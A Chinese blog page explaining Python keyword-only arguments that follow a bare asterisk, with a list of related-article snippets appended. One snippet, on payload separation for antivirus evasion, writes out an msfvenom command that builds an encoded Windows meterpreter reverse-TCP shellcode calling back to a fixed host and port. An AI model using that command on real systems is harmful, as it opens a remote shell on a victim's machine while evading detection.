Python函数独立星号(*)分隔的命名关键字参数

摘要:
命名关键字参数和位置参数由独立的星号(*)分隔。星号后面是命名关键字参数,星号本身不是参数。必须使用参数名称调用所有命名的关键字参数,否则将报告错误。命名关键字参数和关键字参数之间有两个区别:1。命名关键字参数是固定参数,不支持可变参数;2.命名关键字参数在位置参数后用星号分隔。请参考Python中排序函数参数定义中独立星号(*)的含义!

如果需要限制关键字参数的输入名字,就需要使用到命名关键字参数的形式,所谓命名关键字参数就是给关键字参数限定指定的名字,输入其他名字不能识别。命名关键字参数和位置参数之间使用独立的星号(*)分隔,星号后面为命名关键字参数,星号本身不是参数。凡是命名关键字参数,在调用时必须带参数名字进行调用,否则会报错。
命名关键字参数与关键字参数的区别有2点:
1、命名关键字参数是固定参数,不支持可变参数;
2、命名关键字参数在位置参数之后,二者之间用星号隔开。

可参考《Python中sorted(iterable, *, key=None, reverse=False)函数参数定义中的独立星号(*)的含义》
老猿Python,跟老猿学Python! 博客地址:https://blog.csdn.net/LaoYuanPython

免责声明:文章转载自《Python函数独立星号(*)分隔的命名关键字参数》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇【React】react学习笔记10-兄弟组件间的传值Nginx版本平滑升级方案下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Python图像处理 PIL中convert('L')函数原理

1. img = img.convert()   PIL有九种不同模式: 1,L,P,RGB,RGBA,CMYK,YCbCr,I,F。 1.1 img.convert('1')   为二值图像,非黑即白。每个像素用8个bit表示,0表示黑,255表示白。 1.1.1 Code 1 from PIL import Image 2 3 4 def conv...

python 工行 api 查询

最近学习python 又在做接口 于是找了N多资料 终于实现了 下面是代码 #-*-coding:gbk-*-importhttplibimportcookielibimporturllib2importurllib#用chilkat拆分pfx得到key,cert的pem格式key_file='chilkat_pkey.pem'cert_file='c...

Python基础汇总001_txt文件读写、字典使用等

1.利用python读取文件 (1)Python引入了with语句来自动帮我们调用close()方法 <1>读取指定路径下的文件 with open('/path/to/file', 'r') as f: print(f.read()) <2>写文件 with open('/Users/michael/test.txt',...

python标准库介绍——32 Queue 模块详解

Queue 模块 ``Queue`` 模块提供了一个线程安全的队列 (queue) 实现, 如 [Example 3-2 #eg-3-2] 所示. 你可以通过它在多个线程里安全访问同个对象. ====Example 3-2. 使用 Queue 模块====[eg-3-2] ``` File: queue-example-1.py...

利用Python进行Payload分离免杀

缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=192.168.3.60 LPORT=3333 -f c    将payload给copy下来,去除引号。 x2fx4fx69x43x41x4...

python系列之(4)豆瓣图书《平凡的世界》书评及情感分析

本篇主要是通过对豆瓣图书《平凡的世界》短评进行抓取并进行分析,并用snowNLP对其进行情感分析。 用到的模块有snowNLP,是一个python库,用来进行情感分析。 1.抓取数据 我们把抓取到的数据存储到sqlite,先建表,结构如下: CREATE TABLE comment( id integer PRIMARY KEY autoincre...